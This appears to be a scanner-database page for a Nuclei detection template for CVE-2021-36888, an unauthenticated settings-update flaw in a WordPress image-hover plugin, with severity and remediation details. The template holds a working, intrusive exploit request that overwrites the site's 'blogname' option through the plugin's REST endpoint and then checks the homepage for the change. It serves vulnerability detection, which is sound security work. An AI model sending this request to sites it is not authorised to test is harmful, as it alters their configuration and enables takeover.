WordPress Image Hover Ultimate - Unauthenticated Settings Update

CVE-2021-36888
Early Release

Description

Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.

Severity

Critical

CVSS Score

9.8

Published Date

November 29, 2025

Template Author

riteshs4hu

CVE-2021-36888.yaml
id: CVE-2021-36888

info:
  name: WordPress Image Hover Ultimate - Unauthenticated Settings Update
  author: riteshs4hu
  severity: critical
  description: |
    Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
  impact: |
    Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.
  remediation: |
    Update to the latest version of the plugin, newer than 9.6.1.
  reference:
    - https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36888
    cwe-id: CWE-284
    cpe: cpe:2.3:a:blocksera:image_hover_effects::::::wordpress::*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2021,wpscan,wp-plugin,wordpress,imagehover,intrusive,unauth,kev,vkev

variables:
  rand: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "oxi-confirmation-success")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, rand)"
        condition: and
# digest: 4b0a00483046022100cf83dbd67ea48c9bf44df0ce39f572cc180b40225dcf4340c45336a293170cec022100906c6ec250c832b202301e39e1bbc4eb91f6e4cc90da36fcadbff250721b3813:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2021-36888
CWE ID:
cwe-284

Remediation Steps

Update to the latest version of the plugin, newer than 9.6.1.